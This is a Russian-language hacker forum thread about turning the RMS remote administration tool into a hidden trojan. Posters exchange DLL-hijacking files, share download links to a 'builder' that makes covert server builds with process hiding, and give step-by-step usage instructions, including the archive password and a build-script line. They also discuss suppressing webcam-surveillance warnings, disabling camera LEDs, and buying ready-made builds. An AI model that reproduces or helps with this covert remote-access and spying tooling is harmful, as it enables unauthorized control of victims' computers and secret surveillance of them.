Скрытый RMS [удаленное администрирование]

Mr.Burns, в версии 5.4 не работает msimg32.zip

 

народ привет, где можно скачать актуальный архиф - иначе выходит rms-защита сервера пароль?

 

ога, из импорта рутсерва эта библиотека исчезла.

всё так же - закинуть в папку с рмс

 

Странно. Почему у меня работает...

 

на самой последней версии не работает. если у вас работает - не факт что у конченого конечного юзера тоже заработает.

пользуйтесь winmm.

 

Все отлично работает, спасибо, Mr.Burns! обожаю все новое и чтоб работало как нам надо ))

ЗЫ увы, баллов у меня нет, добавить рейтинг нечем

 

Куплю готовую сборку. Стучите в аську

 

Как пообещал на офиц. форуме разработчик RMS дырка с dll-hijaking будет прикрыта в ближайшей версии, импорт сделают по абсолютным путям. Также раздумывают над CRC32/Hash проверкой файлов сервера чтобы предотвратить модификацию файлов.

 

Да и хрен с ним!Есть другие альтернативы.Тем более заюзан он уже всеми и прописан намертво в антивирусных базах и цифровая подпись бестолку,так что можно патчить напрямую.Кстати вот в тему.
Билдер для создании сборки.Основан на полученном материале из выловленного и разобранного сегодня семпла,но в новом формате и на последней версии RMC.Делалось просто для того что б отвлечся и ради примера.Генерирует идентификатор по которому можно будет впоследствии подключаться и создает собственно билд.Скрываются процессы в диспетчере задач.Билдер от этого семпла не так давно продавался,я сделал альтернативу.Иконку можите сменить в любом редакторе ресурсов,что то делать дальше с этим мне лень.
Мой билдер
http://www.sendspace.com/file/mg11dn
Видео от автора оригинального билдера
http://www.sendspace.com/file/lii41d

 

чот он критует хD

 

Oбъясняю.Запускаем builder.exe,генерируем идентификатор,затем жмем на кнопку
build,образуются 2 файла build.exe c нужными файлами и текстовой файлик ID+PASS.txt в котором ид для подключения и пасс для подключения.Потом запускаем на нужной машине файл build.exe и подключаемся клиентом через ид и пасс что в
ID+PASS.txt.Запароленный архив sysfiles.7z с нужными файлами включается в build.exe и распаковывается во время запуска.Пароль передается архиватору через командную стоку.Если хотите посмотреть что внутри то пасс 1234 и указан в build.nsi.Только для каждой машины нужно генерировать свой идентификатор.

 

"Билдер" выдавал ошибку на 64 битной 7.Исправил и перезалил

 

На х64 битной винде процессы не скрывает(

 

Это вопрос не ко мне,а к разрабу.Файлы по скрытию процессов были выдраны из семпла.А билдер,это лишь надстройка над компилятором нсиса,для автоматизации процесса.Семпл был сделан Inno Setup,внутри батники и файл реестра,который создавался билдером разраба.Там такая же надстройка,для тех кто умеет нажимать только кнопки.
Его тема по прежнему в бесплатных объявлениях на hpc.name.Осуществляется перехват ZwQuerySystemInformation во всех
оконных процессах.Способ давно избитый и известный и прибавляет еще больше палева перед проактивками.

 

жаль что камера, хоть и слабо, но вспыхивает

 

Для сокрытия предупреждения о видеонаблюдении была включена дллка от Mr.Burns.Сам я не тестил,поэтому ничего сказать не могу.Для замены распакуйте файлы из архива sysfiles.7z,пасс там 1234,затем упакуйте 7z архиватором заново,название папки "sysfiles" должно остаться неизменным.Медод сжатия для максимальной компрессии lzma2,уровень ультра.Пасс укажите тот же самый,или какой другой,но тогда нужно будет изменить в файле build.nsi вот эту строчку nsExec::Exec '"7z.exe" x -p1234 sysfiles.7z',где -p1234 после -p укажите свой пасс.

 

я тестил, на ХР sp3, vista, win7 начальная все работает.

А кто может подсказать, обсуждается ли где тема по отключению светодиода у веб камер различных производителей?

 

Это фантастика!Представь сколько производителей,это раз.Нужно дебажить у каждого драйвер,искать как это можно изменить и писать свой драйвер.Так что забудь об этом.

 

согласен, что много всех производителей, но покупают в основном самых известных, а их самое большее 20. Из этих 20 можно отключить или в дайвере или в реестре половину, в остальных только разбить лампочку))
Так что их будет на самом деле мало...

 

Если все так просто,так займись этим!Я сомневаюсь,что ты встретишь подобное в паблике.Только не надо говорить,я не знаю,не понимаю,я не кодер.Учись.